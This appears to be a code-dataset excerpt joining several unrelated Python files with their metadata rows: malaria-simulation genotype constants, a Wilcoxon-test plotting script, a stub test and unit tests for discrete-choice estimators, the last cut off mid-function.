'TNYNYC1x', 'TNYNYC1X', 'TNYNYC2x', 'TNYNYC2X', 'TNYNYY1x', 'TNYNYY1X',
'TNYNYY2x', 'TNYNYY2X', 'TYYYYC1x', 'TYYYYC1X', 'TYYYYC2x', 'TYYYYC2X',
'TYYYYY1x', 'TYYYYY1X', 'TYYYYY2x', 'TYYYYY2X', 'TNFNFC1x', 'TNFNFC1X',
'TNFNFC2x', 'TNFNFC2X', 'TNFNFY1x', 'TNFNFY1X', 'TNFNFY2x', 'TNFNFY2X',
'TYFYFC1x', 'TYFYFC1X', 'TYFYFC2x', 'TYFYFC2X', 'TYFYFY1x', 'TYFYFY1X',
'TYFYFY2x', 'TYFYFY2X', 'sep8',
'n_KNY--C1x', 'n_KNY--C1X', 'n_KNY--C2x', 'n_KNY--C2X', 'n_KNY--Y1x',
'n_KNY--Y1X', 'n_KNY--Y2x', 'n_KNY--Y2X', 'n_KYY--C1x', 'n_KYY--C1X',
'n_KYY--C2x', 'n_KYY--C2X', 'n_KYY--Y1x', 'n_KYY--Y1X', 'n_KYY--Y2x',
'n_KYY--Y2X', 'n_KNF--C1x', 'n_KNF--C1X', 'n_KNF--C2x', 'n_KNF--C2X',
'n_KNF--Y1x', 'n_KNF--Y1X', 'n_KNF--Y2x', 'n_KNF--Y2X', 'n_KYF--C1x',
'n_KYF--C1X', 'n_KYF--C2x', 'n_KYF--C2X', 'n_KYF--Y1x', 'n_KYF--Y1X',
'n_KYF--Y2x', 'n_KYF--Y2X', 'n_KNYNYC1x', 'n_KNYNYC1X', 'n_KNYNYC2x',
'n_KNYNYC2X', 'n_KNYNYY1x', 'n_KNYNYY1X', 'n_KNYNYY2x', 'n_KNYNYY2X',
'n_KYYYYC1x', 'n_KYYYYC1X', 'n_KYYYYC2x', 'n_KYYYYC2X', 'n_KYYYYY1x',
'n_KYYYYY1X', 'n_KYYYYY2x', 'n_KYYYYY2X', 'n_KNFNFC1x', 'n_KNFNFC1X',
'n_KNFNFC2x', 'n_KNFNFC2X', 'n_KNFNFY1x', 'n_KNFNFY1X', 'n_KNFNFY2x',
'n_KNFNFY2X', 'n_KYFYFC1x', 'n_KYFYFC1X', 'n_KYFYFC2x', 'n_KYFYFC2X',
'n_KYFYFY1x', 'n_KYFYFY1X', 'n_KYFYFY2x', 'n_KYFYFY2X', 'n_TNY--C1x',
'n_TNY--C1X', 'n_TNY--C2x', 'n_TNY--C2X', 'n_TNY--Y1x', 'n_TNY--Y1X',
'n_TNY--Y2x', 'n_TNY--Y2X', 'n_TYY--C1x', 'n_TYY--C1X', 'n_TYY--C2x',
'n_TYY--C2X', 'n_TYY--Y1x', 'n_TYY--Y1X', 'n_TYY--Y2x', 'n_TYY--Y2X',
'n_TNF--C1x', 'n_TNF--C1X', 'n_TNF--C2x', 'n_TNF--C2X', 'n_TNF--Y1x',
'n_TNF--Y1X', 'n_TNF--Y2x', 'n_TNF--Y2X', 'n_TYF--C1x', 'n_TYF--C1X',
'n_TYF--C2x', 'n_TYF--C2X', 'n_TYF--Y1x', 'n_TYF--Y1X', 'n_TYF--Y2x',
'n_TYF--Y2X', 'n_TNYNYC1x', 'n_TNYNYC1X', 'n_TNYNYC2x', 'n_TNYNYC2X',
'n_TNYNYY1x', 'n_TNYNYY1X', 'n_TNYNYY2x', 'n_TNYNYY2X', 'n_TYYYYC1x',
'n_TYYYYC1X', 'n_TYYYYC2x', 'n_TYYYYC2X', 'n_TYYYYY1x', 'n_TYYYYY1X',
'n_TYYYYY2x', 'n_TYYYYY2X', 'n_TNFNFC1x', 'n_TNFNFC1X', 'n_TNFNFC2x',
'n_TNFNFC2X', 'n_TNFNFY1x', 'n_TNFNFY1X', 'n_TNFNFY2x', 'n_TNFNFY2X',
'n_TYFYFC1x', 'n_TYFYFC1X', 'n_TYFYFC2x', 'n_TYFYFC2X', 'n_TYFYFY1x',
'n_TYFYFY1X', 'n_TYFYFY2x', 'n_TYFYFY2X', 'sep9', 'total_count'
]
COLUMNS_TO_DROP = [
'n_KNY--C1x', 'n_KNY--C1X', 'n_KNY--C2x', 'n_KNY--C2X', 'n_KNY--Y1x',
'n_KNY--Y1X', 'n_KNY--Y2x', 'n_KNY--Y2X', 'n_KYY--C1x', 'n_KYY--C1X',
'n_KYY--C2x', 'n_KYY--C2X', 'n_KYY--Y1x', 'n_KYY--Y1X', 'n_KYY--Y2x',
'n_KYY--Y2X', 'n_KNF--C1x', 'n_KNF--C1X', 'n_KNF--C2x', 'n_KNF--C2X',
'n_KNF--Y1x', 'n_KNF--Y1X', 'n_KNF--Y2x', 'n_KNF--Y2X', 'n_KYF--C1x',
'n_KYF--C1X', 'n_KYF--C2x', 'n_KYF--C2X', 'n_KYF--Y1x', 'n_KYF--Y1X',
'n_KYF--Y2x', 'n_KYF--Y2X', 'n_KNYNYC1x', 'n_KNYNYC1X', 'n_KNYNYC2x',
'n_KNYNYC2X', 'n_KNYNYY1x', 'n_KNYNYY1X', 'n_KNYNYY2x', 'n_KNYNYY2X',
'n_KYYYYC1x', 'n_KYYYYC1X', 'n_KYYYYC2x', 'n_KYYYYC2X', 'n_KYYYYY1x',
'n_KYYYYY1X', 'n_KYYYYY2x', 'n_KYYYYY2X', 'n_KNFNFC1x', 'n_KNFNFC1X',
'n_KNFNFC2x', 'n_KNFNFC2X', 'n_KNFNFY1x', 'n_KNFNFY1X', 'n_KNFNFY2x',
'n_KNFNFY2X', 'n_KYFYFC1x', 'n_KYFYFC1X', 'n_KYFYFC2x', 'n_KYFYFC2X',
'n_KYFYFY1x', 'n_KYFYFY1X', 'n_KYFYFY2x', 'n_KYFYFY2X', 'n_TNY--C1x',
'n_TNY--C1X', 'n_TNY--C2x', 'n_TNY--C2X', 'n_TNY--Y1x', 'n_TNY--Y1X',
'n_TNY--Y2x', 'n_TNY--Y2X', 'n_TYY--C1x', 'n_TYY--C1X', 'n_TYY--C2x',
'n_TYY--C2X', 'n_TYY--Y1x', 'n_TYY--Y1X', 'n_TYY--Y2x', 'n_TYY--Y2X',
'n_TNF--C1x', 'n_TNF--C1X', 'n_TNF--C2x', 'n_TNF--C2X', 'n_TNF--Y1x',
'n_TNF--Y1X', 'n_TNF--Y2x', 'n_TNF--Y2X', 'n_TYF--C1x', 'n_TYF--C1X',
'n_TYF--C2x', 'n_TYF--C2X', 'n_TYF--Y1x', 'n_TYF--Y1X', 'n_TYF--Y2x',
'n_TYF--Y2X', 'n_TNYNYC1x', 'n_TNYNYC1X', 'n_TNYNYC2x', 'n_TNYNYC2X',
'n_TNYNYY1x', 'n_TNYNYY1X', 'n_TNYNYY2x', 'n_TNYNYY2X', 'n_TYYYYC1x',
'n_TYYYYC1X', 'n_TYYYYC2x', 'n_TYYYYC2X', 'n_TYYYYY1x', 'n_TYYYYY1X',
'n_TYYYYY2x', 'n_TYYYYY2X', 'n_TNFNFC1x', 'n_TNFNFC1X', 'n_TNFNFC2x',
'n_TNFNFC2X', 'n_TNFNFY1x', 'n_TNFNFY1X', 'n_TNFNFY2x', 'n_TNFNFY2X',
'n_TYFYFC1x', 'n_TYFYFC1X', 'n_TYFYFC2x', 'n_TYFYFC2X', 'n_TYFYFY1x',
'n_TYFYFY1X', 'n_TYFYFY2x', 'n_TYFYFY2X', 'time_elapsed',
'sep1', 'sep2', 'sep3', 'sep4', 'sep5', 'sep6', 'sep7', 'sep8', 'sep9',
'system_time', 'year', 'month', 'day', 'seasonal_factor', 'total_count',
'treatment_coverage_0_1', 'treatment_coverage_0_10', 'population', 'eir',
'bsp_2_10', 'bsp_0_5', 'blood_slide_prevalence', 'monthly_new_infection',
'monthly_new_treatment', 'monthly_clinical_episode', 'monthly_ntf_raw'
]
# Also used in Fig.4 Flow Diagram Common Constants
ENCODINGDB = [
'KNY--C1x', 'KNY--C1X', 'KNY--C2x', 'KNY--C2X', 'KNY--Y1x', 'KNY--Y1X',
'KNY--Y2x', 'KNY--Y2X', 'KYY--C1x', 'KYY--C1X', 'KYY--C2x', 'KYY--C2X',
'KYY--Y1x', 'KYY--Y1X', 'KYY--Y2x', 'KYY--Y2X', 'KNF--C1x', 'KNF--C1X',
'KNF--C2x', 'KNF--C2X', 'KNF--Y1x', 'KNF--Y1X', 'KNF--Y2x', 'KNF--Y2X',
'KYF--C1x', 'KYF--C1X', 'KYF--C2x', 'KYF--C2X', 'KYF--Y1x', 'KYF--Y1X',
'KYF--Y2x', 'KYF--Y2X', 'KNYNYC1x', 'KNYNYC1X', 'KNYNYC2x', 'KNYNYC2X',
'KNYNYY1x', 'KNYNYY1X', 'KNYNYY2x', 'KNYNYY2X', 'KYYYYC1x', 'KYYYYC1X',
'KYYYYC2x', 'KYYYYC2X', 'KYYYYY1x', 'KYYYYY1X', 'KYYYYY2x', 'KYYYYY2X',
'KNFNFC1x', 'KNFNFC1X', 'KNFNFC2x', 'KNFNFC2X', 'KNFNFY1x', 'KNFNFY1X',
'KNFNFY2x', 'KNFNFY2X', 'KYFYFC1x', 'KYFYFC1X', 'KYFYFC2x', 'KYFYFC2X',
'KYFYFY1x', 'KYFYFY1X', 'KYFYFY2x', 'KYFYFY2X', 'TNY--C1x', 'TNY--C1X',
'TNY--C2x', 'TNY--C2X', 'TNY--Y1x', 'TNY--Y1X', 'TNY--Y2x', 'TNY--Y2X',
'TYY--C1x', 'TYY--C1X', 'TYY--C2x', 'TYY--C2X', 'TYY--Y1x', 'TYY--Y1X',
'TYY--Y2x', 'TYY--Y2X', 'TNF--C1x', 'TNF--C1X', 'TNF--C2x', 'TNF--C2X',
'TNF--Y1x', 'TNF--Y1X', 'TNF--Y2x', 'TNF--Y2X', 'TYF--C1x', 'TYF--C1X',
'TYF--C2x', 'TYF--C2X', 'TYF--Y1x', 'TYF--Y1X', 'TYF--Y2x', 'TYF--Y2X',
'TNYNYC1x', 'TNYNYC1X', 'TNYNYC2x', 'TNYNYC2X', 'TNYNYY1x', 'TNYNYY1X',
'TNYNYY2x', 'TNYNYY2X', 'TYYYYC1x', 'TYYYYC1X', 'TYYYYC2x', 'TYYYYC2X',
'TYYYYY1x', 'TYYYYY1X', 'TYYYYY2x', 'TYYYYY2X', 'TNFNFC1x', 'TNFNFC1X',
'TNFNFC2x', 'TNFNFC2X', 'TNFNFY1x', 'TNFNFY1X', 'TNFNFY2x', 'TNFNFY2X',
'TYFYFC1x', 'TYFYFC1X', 'TYFYFC2x', 'TYFYFC2X', 'TYFYFY1x', 'TYFYFY1X',
'TYFYFY2x', 'TYFYFY2X'
]
REPORTDAYS = [
0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366, 397, 425, 456,
486, 517, 547, 578, 609, 639, 670, 700, 731, 762, 790, 821, 851, 882, 912,
943, 974, 1004, 1035, 1065, 1096, 1127, 1155, 1186, 1216, 1247, 1277, 1308,
1339, 1369, 1400, 1430, 1461, 1492, 1521, 1552, 1582, 1613, 1643, 1674,
1705, 1735, 1766, 1796, 1827, 1858, 1886, 1917, 1947, 1978, 2008, 2039,
2070, 2100, 2131, 2161, 2192, 2223, 2251, 2282, 2312, 2343, 2373, 2404,
2435, 2465, 2496, 2526, 2557, 2588, 2616, 2647, 2677, 2708, 2738, 2769,
2800, 2830, 2861, 2891, 2922, 2953, 2982, 3013, 3043, 3074, 3104, 3135,
3166, 3196, 3227, 3257, 3288, 3319, 3347, 3378, 3408, 3439, 3469, 3500,
3531, 3561, 3592, 3622, 3653, 3684, 3712, 3743, 3773, 3804, 3834, 3865,
3896, 3926, 3957, 3987, 4018, 4049, 4077, 4108, 4138, 4169, 4199, 4230,
4261, 4291, 4322, 4352, 4383, 4414, 4443, 4474, 4504, 4535, 4565, 4596,
4627, 4657, 4688, 4718, 4749, 4780, 4808, 4839, 4869, 4900, 4930, 4961,
4992, 5022, 5053, 5083, 5114, 5145, 5173, 5204, 5234, 5265, 5295, 5326,
5357, 5387, 5418, 5448, 5479, 5510, 5538, 5569, 5599, 5630, 5660, 5691,
5722, 5752, 5783, 5813, 5844, 5875, 5904, 5935, 5965, 5996, 6026, 6057,
6088, 6118, 6149, 6179, 6210, 6241, 6269, 6300, 6330, 6361, 6391, 6422,
6453, 6483, 6514, 6544, 6575, 6606, 6634, 6665, 6695, 6726, 6756, 6787,
6818, 6848, 6879, 6909, 6940, 6971, 6999, 7030, 7060, 7091, 7121, 7152,
7183, 7213, 7244, 7274, 7305, 7336, 7365, 7396, 7426, 7457, 7487, 7518,
7549, 7579, 7610, 7640, 7671, 7702, 7730, 7761, 7791, 7822, 7852, 7883,
7914, 7944, 7975, 8005, 8036, 8067, 8095, 8126, 8156, 8187, 8217, 8248,
8279, 8309, 8340, 8370, 8401, 8432, 8460, 8491, 8521, 8552, 8582, 8613,
8644, 8674, 8705, 8735, 8766, 8797, 8826, 8857, 8887, 8918, 8948, 8979,
9010, 9040, 9071, 9101, 9132, 9163, 9191, 9222, 9252, 9283, 9313, 9344,
9375, 9405, 9436, 9466, 9497, 9528, 9556, 9587, 9617, 9648, 9678, 9709,
9740, 9770, 9801, 9831, 9862, 9893, 9921, 9952, 9982, 10013, 10043, 10074,
10105, 10135, 10166, 10196, 10227, 10258, 10287, 10318, 10348, 10379,
10409, 10440, 10471, 10501, 10532, 10562, 10593, 10624, 10652, 10683,
10713, 10744, 10774, 10805, 10836, 10866, 10897, 10927, 10958
]
FIVE_YR_CYCLING_SWITCH_DAYS = [
0, 3653, # Burn-in
5478, # First Five-Year Period
7303, # Second Period
9128, # Third
10953, # Fourth / Last
10958 # Residue due to 365-and-calendar difference
]
FIRST_ROW_AFTER_BURNIN = 120
ANNOTATION_X_LOCATION = 3833
fig4_mft_most_dang_double_2_2_geno_index = [
6,
7,
14,
15,
22,
23,
30,
31,
38,
39,
46,
47,
54,
55,
62,
63,
70,
71,
78,
79,
86,
87,
94,
95,
102,
103,
110,
111,
118,
119,
126,
127
]
fig4_mft_most_dang_double_2_4_geno_index = [
20, 21, 22, 23, 52, 53, 54, 55, 76, 77, 78, 79, 108, 109, 110, 111
]
res_count_by_genotype_dhappq = [
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2'
]
res_count_by_genotype_asaq = [
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'0-0',
'0-0',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'0-0',
'0-0',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-3',
'1-3',
'1-3',
'1-3',
'2-4',
'2-4',
'2-4',
'2-4',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-3',
'1-3',
'1-3',
'1-3',
'2-4',
'2-4',
'2-4',
'2-4',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3'
]
res_count_by_genotype_al = [
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-3',
'1-3',
'1-3',
'1-3',
'2-4',
'2-4',
'2-4',
'2-4',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-3',
'1-3',
'1-3',
'1-3',
'2-4',
'2-4',
'2-4',
'2-4',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'0-0',
'0-0',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2',
'0-0',
'0-0',
'0-0',
'0-0',
'1-1',
'1-1',
'1-1',
'1-1',
'1-2',
'1-2',
'1-2',
'1-2',
'2-3',
'2-3',
'2-3',
'2-3',
'1-1',
'1-1',
'1-1',
'1-1',
'2-2',
'2-2',
'2-2',
'2-2'
]
| 30.57479
| 2,889
| 0.53518
| 2,827
| 18,192
| 3.31376
| 0.211178
| 0.048676
| 0.063407
| 0.071734
| 0.741247
| 0.741247
| 0.73655
| 0.728864
| 0.728864
| 0.711785
| 0
| 0.219152
| 0.204376
| 18,192
| 594
| 2,890
| 30.626263
| 0.428078
| 0.008575
| 0
| 0.816151
| 0
| 0.001718
| 0.509319
| 0.174284
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
d76e610e128578e4efe9d07f908f9aadfa1def6d
| 5,125
|
py
|
Python
|
master_thesis_doc/img/statsWilcoxon_examples.py
|
nicolai-schwartze/Masterthesis
|
7857af20c6b233901ab3cedc325bd64704111e16
|
[
"MIT"
] | 1
|
2020-06-13T10:02:02.000Z
|
2020-06-13T10:02:02.000Z
|
master_thesis_doc/img/statsWilcoxon_examples.py
|
nicolai-schwartze/Masterthesis
|
7857af20c6b233901ab3cedc325bd64704111e16
|
[
"MIT"
] | null | null | null |
master_thesis_doc/img/statsWilcoxon_examples.py
|
nicolai-schwartze/Masterthesis
|
7857af20c6b233901ab3cedc325bd64704111e16
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Created on Wed Aug 26 15:42:31 2020
@author: Nicolai
"""
import seaborn as sns
import sys
sys.path.append("../../code/post_proc/")
import post_proc as pp
import matplotlib.pyplot as plt
import numpy as np
if __name__ == "__main__":
###############################
# significantly better #
###############################
a = [0,1,1,2,2,2,3,3,3,3,4,4,4,4,4,5,5,5,5,5,5,5,6,6,6,6,6,6,7,7,7,8,8,8,9]
b = [0,1,2,3,3,3,4,4,4,5,5,5,7,8,8,9,9,9,9,9,9,10,10,10,10,10,10,10,10,11,11,11,11,11,11]
b = [x + 5 for x in b]
f, ax_hist = plt.subplots()
sns.distplot(a, ax=ax_hist)
ax_hist.axvline(np.mean(a), color='g', linestyle='--')
ax_hist.axvline(np.median(a), color='g', linestyle='-')
sns.distplot(b, ax=ax_hist)
ax_hist.axvline(np.mean(b), color='r', linestyle='--')
ax_hist.axvline(np.median(b), color='r', linestyle='-')
plt.legend({'mean(a)':np.mean(a),'median(a)':np.median(a), 'mean(b)':np.mean(b),'median(b)':np.median(b)})
stat_result = pp.statsWilcoxon(a, b)
plt.title("statsWilcoxon: " + "a is " + stat_result + " than b")
plt.savefig("./pdf/sig_better.pdf", bbox_inches='tight')
plt.show()
##############################
# signifcantly worse #
##############################
a = [0,1,1,2,2,2,3,3,3,3,4,4,4,4,4,5,5,5,5,5,5,5,6,6,6,6,6,6,7,7,7,8,8,8,9]
b = [0,1,2,3,3,3,4,4,4,5,5,5,7,8,8,9,9,9,9,9,9,10,10,10,10,10,10,10,10,11,11,11,11,11,11]
a = [x + 5 for x in a]
b = [x - 5 for x in b]
f, ax_hist = plt.subplots()
sns.distplot(a, ax=ax_hist)
ax_hist.axvline(np.mean(a), color='r', linestyle='--')
ax_hist.axvline(np.median(a), color='r', linestyle='-')
sns.distplot(b, ax=ax_hist)
ax_hist.axvline(np.mean(b), color='g', linestyle='--')
ax_hist.axvline(np.median(b), color='g', linestyle='-')
plt.legend({'mean(a)':np.mean(a),'median(a)':np.median(a), 'mean(b)':np.mean(b),'median(b)':np.median(b)})
stat_result = pp.statsWilcoxon(a, b)
plt.title("statsWilcoxon: " + "a is " + stat_result + " than b")
plt.savefig("./pdf/sig_worse.pdf", bbox_inches='tight')
plt.show()
#################################
# unsignificantly better #
#################################
b = [0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,3,3,3,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9]
a = [0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,2,2,3,3,3,4,5,5,6,7,7,8,8,9,9,9,9,9,9,9,9,9,9,9,9]
f, ax_hist = plt.subplots()
sns.distplot(a, ax=ax_hist)
ax_hist.axvline(np.mean(a), color='g', linestyle='--')
ax_hist.axvline(np.median(a), color='g', linestyle='-')
sns.distplot(b, ax=ax_hist)
ax_hist.axvline(np.mean(b), color='r', linestyle='--')
ax_hist.axvline(np.median(b), color='r', linestyle='-')
plt.legend({'mean(a)':np.mean(a),'median(a)':np.median(a), 'mean(b)':np.mean(b),'median(b)':np.median(b)})
stat_result = pp.statsWilcoxon(a, b)
plt.title("statsWilcoxon: " + "a is " + stat_result + " than b")
plt.savefig("./pdf/unsig_better.pdf", bbox_inches='tight')
plt.show()
##################################
# unsignificantly worse #
##################################
a = [0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,3,3,3,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9,9]
b = [0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,2,2,3,3,3,4,5,5,6,7,7,8,8,9,9,9,9,9,9,9,9,9,9,9,9]
f, ax_hist = plt.subplots()
sns.distplot(a, ax=ax_hist)
ax_hist.axvline(np.mean(a), color='r', linestyle='--')
ax_hist.axvline(np.median(a), color='r', linestyle='-')
sns.distplot(b, ax=ax_hist)
ax_hist.axvline(np.mean(b), color='g', linestyle='--')
ax_hist.axvline(np.median(b), color='g', linestyle='-')
plt.legend({'mean(a)':np.mean(a),'median(a)':np.median(a), 'mean(b)':np.mean(b),'median(b)':np.median(b)})
stat_result = pp.statsWilcoxon(a, b)
plt.title("statsWilcoxon: " + "a is " + stat_result + " than b")
plt.savefig("./pdf/unsig_worse.pdf", bbox_inches='tight')
plt.show()
#################################
# unsignificantly undecided #
#################################
a = [0,0,0,0,0,1,1,1,1,1,2,2,2,3,3,4,5,5,5,6,6,6,7,7,7,7,8,8,8,8,9,9,9,9,9,9,9,9,9,9,9]
b = [0,0,0,0,0,1,1,2,2,2,3,3,3,3,4,5,5,5,6,6,6,6,6,6,7,7,7,8,8,8,9,9,9,9,9,9,9,9,9,9,9]
f, ax_hist = plt.subplots()
sns.distplot(a, ax=ax_hist)
ax_hist.axvline(np.mean(a), color='g', linestyle='--')
ax_hist.axvline(np.median(a), color='g', linestyle='-')
sns.distplot(b, ax=ax_hist)
ax_hist.axvline(np.mean(b), color='r', linestyle='--')
ax_hist.axvline(np.median(b), color='r', linestyle='-')
plt.legend({'mean(a)':np.mean(a),'median(a)':np.median(a), 'mean(b)':np.mean(b),'median(b)':np.median(b)})
stat_result = pp.statsWilcoxon(a, b)
plt.title("statsWilcoxon: " + "a is " + stat_result + " than b")
plt.savefig("./pdf/unsig_undecided.pdf", bbox_inches='tight')
plt.show()
| 36.607143
| 110
| 0.525854
| 971
| 5,125
| 2.708548
| 0.084449
| 0.056274
| 0.075285
| 0.088213
| 0.909125
| 0.906084
| 0.894677
| 0.863878
| 0.829658
| 0.822814
| 0
| 0.10059
| 0.173659
| 5,125
| 140
| 111
| 36.607143
| 0.520425
| 0.043707
| 0
| 0.7375
| 0
| 0
| 0.110989
| 0.019522
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.0625
| 0
| 0.0625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ad163fc72d01e09e6db22522fc87a7cf1f16da81
| 74
|
py
|
Python
|
tests/test_plants_pineapple.py
|
nielse63/PiPlanter
|
94ed5265fd4d9b4183edd4a67047d976ee5cdd72
|
[
"MIT"
] | null | null | null |
tests/test_plants_pineapple.py
|
nielse63/PiPlanter
|
94ed5265fd4d9b4183edd4a67047d976ee5cdd72
|
[
"MIT"
] | 118
|
2021-03-08T11:04:41.000Z
|
2022-03-31T11:07:05.000Z
|
tests/test_plants_pineapple.py
|
nielse63/PiPlanter
|
94ed5265fd4d9b4183edd4a67047d976ee5cdd72
|
[
"MIT"
] | null | null | null |
import pyplanter.plants.pineapple
def test_plants_pineapple():
pass
| 12.333333
| 33
| 0.783784
| 9
| 74
| 6.222222
| 0.777778
| 0.535714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.148649
| 74
| 5
| 34
| 14.8
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 7
|
d10ee2a52259e72cf9672405a40e75f68f874677
| 5,158
|
py
|
Python
|
source_ddc/test/unit/test_ddc.py
|
sansan-inc/econ-source
|
9edf3043558779f741b27f38c129242de5c25bdc
|
[
"Apache-2.0"
] | 26
|
2020-08-28T00:48:20.000Z
|
2022-02-27T22:10:53.000Z
|
source_ddc/test/unit/test_ddc.py
|
sansan-inc/econ-source
|
9edf3043558779f741b27f38c129242de5c25bdc
|
[
"Apache-2.0"
] | 3
|
2020-08-28T06:04:27.000Z
|
2020-08-28T08:03:52.000Z
|
source_ddc/test/unit/test_ddc.py
|
sansan-inc/econ-source
|
9edf3043558779f741b27f38c129242de5c25bdc
|
[
"Apache-2.0"
] | 3
|
2020-08-28T10:38:42.000Z
|
2021-02-27T16:07:52.000Z
|
import numpy as np
from source_ddc.simulation_tools import simulate
from source_ddc.algorithms import NFXP, NPL, CCP
from source_ddc.probability_tools import StateManager, random_ccp
from test.utils.functional_tools import average_out
n_repetitions = 10
def test_nfxp(simple_transition_matrix):
def utility_fn(theta, choices, states):
m_states, m_actions = np.meshgrid(states, choices)
return (theta[0] * np.log(m_states + 1) - theta[1] * m_actions).reshape((len(choices), -1, 1))
true_params = [0.5, 3]
discount_factor = 0.95
n_choices = 2
n_states = 5
state_manager = StateManager(miles=n_states)
@average_out(n_repetitions)
def test():
df, _ = simulate(
500,
100,
n_choices,
state_manager,
true_params,
utility_fn,
discount_factor,
simple_transition_matrix
)
algorithm = NFXP(
df['action'].values,
df['state'].values,
simple_transition_matrix,
utility_fn,
discount_factor,
parameter_names=['variable_cost', 'replacement_cost']
)
return algorithm.estimate(start_params=[-1, -1], method='bfgs')
mean_params = test()
tolerance_levels = np.array([0.05, 0.05])
assert np.all(np.abs(mean_params - true_params) < tolerance_levels)
def test_ccp(simple_transition_matrix):
def utility_fn(theta, choices, states):
m_states, m_actions = np.meshgrid(states, choices)
return (theta[0] * np.log(m_states + 1) - theta[1] * m_actions).reshape((len(choices), -1, 1))
